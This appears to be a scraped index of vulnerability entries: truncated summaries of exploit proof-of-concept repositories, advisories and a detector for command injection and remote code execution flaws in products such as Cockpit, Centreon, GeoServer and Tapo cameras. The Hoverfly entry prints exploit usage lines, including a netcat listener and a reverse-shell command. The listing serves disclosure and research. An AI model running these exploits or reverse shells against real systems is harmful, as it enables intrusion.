CVE-2026-28363

🔴 CVE-2026-28363 — Security Advisory ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗ ██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝ ███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗...

CVE-2026-4802

CVE-2026-4802 - Remote Code Execution via Command Injection in Cockpit A proof-of-concept exploit for CVE-2026-4802, a Remote Code Execution via Command Injection in Cockpit's system logs UI loadServiceFilters Setup Build and run the vulnerable environment: $ docker build -t cockpit-vuln . $ dock...

Centreon-Exploits-2026

Exploits for CVE-2026-2749, CVE-2026-2751 and CVE-2026-2750 This repository contains exploits for CVE-2026-2749, CVE-2026-2751, and CVE-2026-2750 in Centreon, exploiting Path Traversal, SQL Injection, and Command Injection vulnerabilities. Vulnerable Versions All versions prior to 25.10 24.10 24....

CVE-2026-20841-PoC

CVE-2026-20841-PoC Proof of Concept for CVE-2026-20841 CVE-2026-20841 – Details CVE-2026-20841 is a vulnerability affecting Microsoft Notepad, where specially crafted input can trigger unintended command execution. The issue occurs due to improper handling of certain file content or execution...

CVE-2022-28906-POC

CVE-2022-28906 PoC Python proof of concept for unauthenticated command injection in the TOTOLINK N600R. Vulnerability Product | TOTOLINK N600R ---|--- Firmware | V5.3c.7159B20190425 Type | OS command injection CWE-78 Parameter | langType Endpoint | /cgi-bin/cstecgi.cgi CVSS v3.1 | 9.8 Critical...

CVE-2026-35616-detector.py

CVE-2026-35616 - FortiClient EMS Vulnerability Detector Description This tool detects if a FortiClient EMS server is vulnerable to CVE-2026-35616 , a critical improper access control vulnerability affecting versions 7.4.5 through 7.4.6. CVSS Score: 9.1 Critical CWE: CWE-284 Improper Access Contro...

atril_cbt-inject-exploit

CVE-2023-44452, CVE-2023-51698: Linux Mint Xreader/MATE Atril CBT File Parsing Argument Injection Remote Code Execution Vulnerability A Critical One-Click RCE/Command Injection Vulnerability Affecting Popular Linux Operating Systems with MATE, Cinnamon, and some Xfce desktop Environments. Affecte...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE The original exploitation method uploads an EMQX plugin and adds Erlang os module calls in the plugin template code to execute system commands for RCE. In an outbound network environment, curl is available by default, so you can directly us...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE in MCPJam inspector = 1.4.2 Vulnerability details https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Usage usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message an...

CVE-2026-26331

Arbitrary Command Injection via --netrc-cmd in yt-dlp Severity: High CVSS 8.8 Affected Software: yt-dlp = 2023.06.21, Patched In: 2026.02.21 Advisory: GHSA-g3gw-q23r-pgqm CVE: CVE-2026-26331 Summary yt-dlp’s --netrc-cmd command-line option or netrccmd Python API parameter can be abused to achieve...

exploits

exploits Published PoCs can be found at exploitdb.com Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

tenda-hg10-rce

CVE-2026-1689 Summary A command injection vulnerability exists in the Tenda HG10 router. It occurs in the formLogin endpoint due to improper handling of the Host parameter. No authentication credentials are verified as this executes before the check. User input from the Host header is directly...

MAL-009

MAL-009: Insecure Chaining of Flags T and TT in Zip for Linux In Zip for Linux, the “-TT” flag can be used to run arbitrary system commands. Due to the dangerous nature of this flag, it must always be used at the same time as the “-T” flag. By using a flag chaining attack, attackers that should...

CVE-2026-26831

CVE-2026-26831: OS command injection in textract Summary textract through version 2.5.0 allows OS command injection through the file path supplied to multiple extractors. Several code paths pass that file path into childprocess.exec with inadequate sanitization. An attacker who can influence the...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Usage Command execution: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Disclaimer This script is intended for...

CVE-2024-36401

CVE-2024-36401 GeoServer Exploitation Tool Vulnerability Overview CVE-2024-36401 is a remote command execution vulnerability in GeoServer. An attacker can execute arbitrary commands without authorization by crafting a specific WFS Web Feature Service request. Requirements Python 3.x Install...

rsync security, bug fix, and enhancement update

An update is available for rsync. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The rsync utility enables the users to copy and synchronize files locally or...

CVE-2026-102369

TP-Link Tapo C120 v1 and C200 V5 security cameras are vulnerable to unauthenticated remote code execution due to insufficient protection of login challenge data and a lack of input sanitization in the MacTool handler . An attacker on the same local network can replay login challenge data to gain ...

EUVD-2026-90983

Tapo C120 v1 and C200 V5 do not adequately protect login challenge data or sanitize attacker-controlled input processed by the MacTool handler. An unauthenticated attacker on the same local network can replay login challenge data to obtain an administrative session, enable a privileged service th...

CVE-2026-104018 VxWorks 7 improper privilege management

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...